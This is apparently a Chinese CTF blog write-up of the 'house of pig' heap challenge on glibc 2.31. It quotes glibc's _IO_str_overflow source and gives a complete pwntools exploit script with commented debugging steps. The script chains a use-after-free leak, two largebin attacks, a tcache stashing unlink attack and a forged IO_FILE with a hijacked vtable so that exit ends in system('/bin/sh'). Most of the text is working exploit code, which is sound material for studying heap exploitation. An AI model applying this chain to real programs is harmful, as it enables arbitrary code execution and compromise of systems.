# IO_FILE 相关

目的:此时我们在 tcache 中布置好了 free_hook 相关的 chunk,但如果题目不能利用 malloc 申请,只能利用 calloc 申请,那么我们是无法申请到 tcache 上的 chunk 的。

现在来看看 IO_str_overflow

c
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

上面有 mallocmemcpyfree ,所以考虑绕过里面的一些条件从而调用 malloc ,先看一下调用的部分

c
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
...
new_buf = malloc (new_size);
...
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

利用需要达到的条件

c
fp->_flags=0
fp->_IO_write_ptr - fp->_IO_write_base>=_IO_blen (fp)
// 可以令 fp->_IO_write_ptr=0xffffffffffff fp->_IO_write_base=1

我们控制 _IO_buf_end_IO_buf_base 就可以了

# house of pig

# 题目分析

各个结构体的分析可以参考这个博客

show 分析

edit 分析

delete 分析

角色转换分析

  • 保存角色
  • 恢复角色

先给出官方的 wp,我追加了点注释

n
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
io = process('./pig')
# io = remote('182.92.203.154', 35264)
elf = ELF('./pig')
#libc = elf.libc
libc=ELF('./libc-2.31.so')
rl = lambda     a=False         : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x                   : io.recvn(x)
sn = lambda x                   : io.send(x)
sl = lambda x                   : io.sendline(x)
sa = lambda a,b                 : io.sendafter(a,b)
sla = lambda a,b                : io.sendlineafter(a,b)
irt = lambda                    : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s                   : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data              : u32(data.ljust(4, b'\x00'))
uu64 = lambda data              : u64(data.ljust(8, b'\x00'))
#text ='''
#'''
def Find():
        for x in xrange(1, 0xff+1):
                for y in xrange(1, 0xff+1):
                        for z in xrange(1, 0xff+1):
                                for m in xrange(1, 0xff+1):
                                        string1 = 'A' + chr(x) + chr(y) + chr(z) + chr(m)
                                        out1 = hashlib.md5(string1).hexdigest()
                                        # if out1[4:6] == '00':
                                        #       print out1
                                        if out1.startswith('3c4400'):
                                                print('[' + string1.encode('hex') + ']')
                                                print(out1)
def Menu(cmd):
        sla('Choice: ', str(cmd))
def Add(size, content):
        Menu(1)
        sla('size: ', str(size))
        sla('message: ', content)
def Show(idx):
        Menu(2)
        sla('index: ', str(idx))
def Edit(idx, content):
        Menu(3)
        sla('index: ', str(idx))
        sa('message: ', content)
def Del(idx):
        Menu(4)
        sla('index: ', str(idx))
def Change(user):
        Menu(5)
        if user == 1:
                sla('user:\n', 'A\x01\x95\xc9\x1c')
        elif user == 2:
                sla('user:\n', 'B\x01\x87\xc3\x19')
        elif user == 3:
                sla('user:\n', 'C\x01\xf7\x3c\x32')
# Find()
# A: 'A\x01\x95\xc9\x1c'
# B: 'B\x01\x87\xc3\x19'
# C: 'C\x01\xf7\x3c\x32'
# change 两次可以造成 UAF 的漏洞
def debug():
    gdb.attach(io)
    pause()
#----- prepare tcache_stashing_unlink_attack
Change(2)
for x in range(5):
        Add(0x90, 'B'*0x28) # B0~B4
        Del(x)  # B0~B4,在 tcache:0xa0 的地方填充 5 个 chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in range(7):
        Add(0x150, 'A'*0x68) # A1~A7
        Del(1+x)    #在 tcache:0x160 的地方填充 7 个 chunk
Del(0)              #A0 会被释放到 unsorted bin
#debug()
Change(2)           #
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 分割在 unsorted bin 中的 A0 为 0xa0 (后面 A0 进 small bin 中,为 tcache_stashing_unlink_attack 作准备)
Change(1)            #会修改 flag 标志为 0,可以绕过检查,造成 UAF 漏洞
Add(0x180, 'A'*0x78) # A8 会让 unsorted bin 中 0xa0 大小的 chunk 进入 small bins 中
for x in range(7):
        Add(0x180, 'A'*0x78) # A9~A15
        Del(9+x)    #填满 tcache:0x190
Del(8)              #A8 进入 unsorted bin
Change(2)           
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 再次划分 A8,因为 small bin 中至少要两个才可以触发 tcache_stashing_unlink_attack
#----- leak libc_base and heap_base
#debug()
Change(1)
Add(0x430, 'A'*0x158) # A16,此时 A8+0xf0 (0xa0) 从 unsorted bin 进入 small bin
Change(2)
Add(0xf0, 'B'*0x48) # B7
Change(1)
Del(16)             #A16 进入 unsorted bin
Change(2)
Add(0x440, 'B'*0x158) # B8 ,导致 A16 从 unsorted bin 进入 large bin
'''
tcahce 
0xa0:  B4->B3->B2->B1->B0
0x160: A7->A6->A5->A4->A3->A2->A1
0x190: A15->A14->A13->A12->A11->A10->A9
small bin:
0xa0: (A8+0xf0)->A0
large bin:
0x440-0x470: A16(0x440)
A16:
fd=bk=main_arena+xxxx
fd_nextsize=bk_nextsize=addr(A16)
'''
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
Edit(16, b'A'*0xf+b'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')  #为了方便泄露,把 libc 的地址覆盖为 A
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n') # recover
Add(0x430, 'A'*0x158) # A17=A16   
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
Del(8)                #B8 (0x450) 进入 unsorted bin
Add(0x450, 'B'*0x168) # B9,会导致 B8 进入 largen bin
Change(1)             
Del(17)               # A17 进入 unsorted bin  
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n') #利用 UAF,角色 2 修改 B8 的 bk_nextsize 为 free_hook-0x28
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
'''
large bin:
0x440-0x470: B8
free_hook-0x28:
fd=bk=0
fd_nextsize=B8
addr(bk_nextsize=0)=free_hook
'''
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover 恢复 B8 的 fd_nextsize=bk_nextsize=addr (B8)
#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1=A17+0xb0
Change(1)
Del(19)               # A19 进入 unsorted bin
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
'''
IO_list_all-0x20:
fd=0
bk=0
IO_list_all:fd_nextsize=B8
bk_nextsize=0
'''
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover
#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
#A0=heap+0x12280
# A0=heap_base+0x12280
Edit(8, payload + b'\n')
'''
smallbin 0xa0:(A8+0xf0)->A0
修改后
由于修改的是A8:
A8:
'A'*0x10
...
...
'A'*0x10
...
...
'A'*0x10
...
...
'A'*0x10
...
...
'A'*0x10
...
A8+0xf0
A0   free_hook-0x20
'''
# =>small bin: 
#    bk: (A8+0xf0)->A0->free_hook-0x20->xx
Change(3)
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, b'\x00')
Add(0x440, payload) # C3 change fake FILE _chain,申请出 B8
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
'''
(A8+0xf0)被申请到了C4
tcache:
0xa0: (free_hook-0x10)->A0->B4->B3->B2->B1->B0
'''
IO_str_vtable = libc_base + 0x1ED560  
#_IO_jump_t exit 触发_IO_file_overflow,而_IO_file_overflow 根据 IO 的虚表选择对应的函数,要劫持虚表为_IO_str_jumps,调用_IO_str_overflow
#_IO_str_overflow 会调用 malloc、memcpy、free
#由于题目只能 calloc,而我们的 free_hook-0x10 再 tcache 上,需要用 malloc 申请出来
#利用 memcpy 将 system 函数写到 free_hook 上
#最后利用 free 释放掉一个 /bin/sh\x00
'''
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
char *old_buf = fp->_IO_buf_base;
...
new_buf = malloc (new_size);  0xa0=2*old_blen+100=>old_blen=30=1e
...
memcpy (new_buf, old_buf, old_blen); 更改free_hook为system
        free_hook,
free (old_buf);
'''
'''
old_buff    :/bin/sh\x00 p64(system_addr)
old_buf+0x10:p64(system_addr)
free_hook-0x20(new_buf):
free_hook-0x10:/bin/sh\x00 p64(system_addr)
free_hook:p64(system_addr)
free (old_buf) = free(free_hook-0x10) =system(/bin/sh)
'''
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                                  #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)             #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                          #v4=> addr(/bin/sh)
fake_IO_FILE += p64(heap_base+0x148b8)                          #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                                  #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable)              #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr) #大小是 0xE8
'''
Gift:
...
...
...
...
...
/bin/sh\x00 <-heap_base+0x148a0=old_buff=_IO_buf_base
p64(system_addr)
p64(system_addr)
'''
sa('Gift:', payload)
# dbg(text)
# pause()
Menu(5)
sla('user:\n', '')  #触发 exit (-1)
irt()

下面分 part 调试

# part1

首先为 tcache_stashing_unlink_attack 攻击作准备,将 5 个 chunk 放入 tcache 中,并且放入两个同大小的 chunk 到 smallbin 中,

n
#----- prepare tcache_stashing_unlink_attack
Change(2)
for x in range(5):
        Add(0x90, 'B'*0x28) # B0~B4
        Del(x)  # B0~B4,在 tcache:0xa0 的地方填充 5 个 chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
for x in range(7):
        Add(0x150, 'A'*0x68) # A1~A7
        Del(1+x)    #在 tcache:0x160 的地方填充 7 个 chunk
Del(0)              #A0 会被释放到 unsorted bin
#debug()
Change(2)           #
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 分割在 unsorted bin 中的 A0 为 0xa0 (后面 A0 进 small bin 中,为 tcache_stashing_unlink_attack 作准备)
Change(1)            #会修改 flag 标志为 0,可以绕过检查,造成 UAF 漏洞
Add(0x180, 'A'*0x78) # A8 会让 unsorted bin 中 0xa0 大小的 chunk 进入 small bins 中
for x in range(7):
        Add(0x180, 'A'*0x78) # A9~A15
        Del(9+x)    #填满 tcache:0x190
Del(8)              #A8 进入 unsorted bin
Change(2)           
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 再次划分 A8,因为 small bin 中至少要两个才可以触发
Change(1)
Add(0x430, 'A'*0x158) # A16,此时 A8+0xf0 (0xa0) 从 unsorted bin 进入 small bin

# part2 leak libc_base and heap_base

泄露 libc 和 heap 的基地址

n
Change(2)
Add(0xf0, 'B'*0x48) # B7
Change(1)
Del(16)             #A16 进入 unsorted bin
Change(2)
Add(0x440, 'B'*0x158) # B8 ,导致 A16 从 unsorted bin 进入 large bin
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
Edit(16, b'A'*0xf+b'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')  #为了方便泄露,把 libc 的地址覆盖为 A
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n') # recover

创建一个可以放入 largebin 中的 chunk (A16),然后利用 UAF 泄露地址,可以本地先算偏移

# part3 first largebin_attack

__free_hook 相关的地址上写入堆上的地址

n
Add(0x430, 'A'*0x158) # A17=A16   
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
Del(8)                #B8 (0x450) 进入 unsorted bin
Add(0x450, 'B'*0x168) # B9,会导致 B8 进入 largen bin
Change(1)             
Del(17)               # A17 进入 unsorted bin  
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n') #利用 UAF,角色 2 修改 B8 的 bk_nextsize 为 free_hook-0x28



接着触发 largebin_attack,注意这里虽然申请的是 0xa0 大小的,并且 unsortedbin 中只有比这个大小大的 chunk (A17),但 unsortedbin 的分配机制是:会先把 A17 放入 largenbin,再分割申请所需的大小出去,剩下的再插回 unsortedbin。所以仍然会触发 largebin_attack

n
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover 恢复 B8 的 fd_nextsize=bk_nextsize=addr (B8)


此时 __free_hook-0x8 的地方就写上了堆上的地址 (B8)

# part4 second largebin_attack

_IO_list_all 相关的地址写入堆上的地址,方便我们触发伪造的 IO 链

n
Change(3)
Add(0x380, 'C'*0x118) # C1=A17+0xb0
Change(1)
Del(19)               # A19 进入 unsorted bin
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')

跟第一次 largebin attach 差不多

可以看到 B8 的 bk_nextsize 被更改了
接下来触发攻击后

n
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover


可以看到 _IO_list_all->B8

n
Change(1)
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
# A0=heap_base+0x12280
Edit(8, payload + b'\n')
此时smallbin中的布局,`free_hook-0x20`被成功写入到smallbin中

n
Change(3)
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, b'\x00')
Add(0x440, payload) # C3 change fake FILE _chain,申请出 B8


先在 unsortedbin 中找,大小不合适,把 A19+0xb0 加入 smallbin 中,然后把 B8 拿来使用,即 C3=B8,同时在 B8 处伪 IO_FILE 的 _chain 字段为 A19+0xb0

n
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache


此时 __free_hook-0x10 进入了 tcache 中,注意由于这里是用角色 3 申请的, 0x90 大小的会把 smallbin 中的 A0+0xa0 拿来使用,而后面的 Gift 申请的 0xE8 大小的则是从 A19+0xb0 拿出 0xf0 取分配。而后面就是把伪造的 IO_FILE 的内容写到 ``A19+0xb0` 上了

# part6 IO_FILE attach

现在就是要从 tcache 中拿出 __free_hook-0x10 ,但没有 malloc
但程序中有地方调用 exit,而 exit 触发_IO_file_overflow,而_IO_file_overflow 根据 IO 的虚表选择对应的函数,如果劫持虚表为_IO_str_jumps,就会调用_IO_str_overflow,构造 IO_FILE,就可以通过_IO_str_overflow 调用 malloc、memcpy、free

利用思路就是

  • malloc 申请 __free_hook-0x20 出来
  • 利用 memcpy 将 system 函数的地址写到 __free_hook
  • 最后利用 free 释放掉一个写有 /bin/sh\x00 的地址即可
n
IO_str_vtable = libc_base + 0x1ED560

n
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                                  #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)             #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                          #v4=> addr(/bin/sh)
fake_IO_FILE += p64(heap_base+0x148b8)                          #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0)                                  #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable)              #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr) #大小是 0xE8
sa('Gift:', payload) # C5
Menu(5)
sla('user:\n', '')  #触发 exit (-1)



_IO_buf_end_IO_buf_base 的计算,再看看利用链

c
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
...
new_buf = malloc (new_size);
...
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

希望 new_size=0xa0 ,推出 old_blen=0x1e
而我们申请出来的是 __free_hook-0x20 ,期望

__free_hook-0x20:
__free_hook-0x10:
__free_hook     :system_addr

由于我们的 fake_IO_FILE 后面跟着 b'/bin/sh\x00' + 2*p64(system_addr) ,那么把从 /bin/sh\x00 开始的地址写入 0x18__free_hook-0x20 即可满足要求

__free_hook-0x20:
__free_hook-0x10:/bin/sh\x00  system_addr
__free_hook     :system_addr  


和我们的预期一样,这里调试,可以在 _IO_str_overflow 下断点,运行到这里后再在 free 下断点

那么 old_blen=0x18old=buf=C5+0xE8-0x18=C5+d0 ,根据偏移得到地址

这里虽然 old_len=0x18<0x1e ,但堆的申请都是向上取,所以可以申请到
最后 free(old_buf) ,而 old_buf 也恰好保存了 /bin/sh ,即可 getshell

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

岚沐 WeChat Pay

WeChat Pay

岚沐 Alipay

Alipay

岚沐 PayPal

PayPal